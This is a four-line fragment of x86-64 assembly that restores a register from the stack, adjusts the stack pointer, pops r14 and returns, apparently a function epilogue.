mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret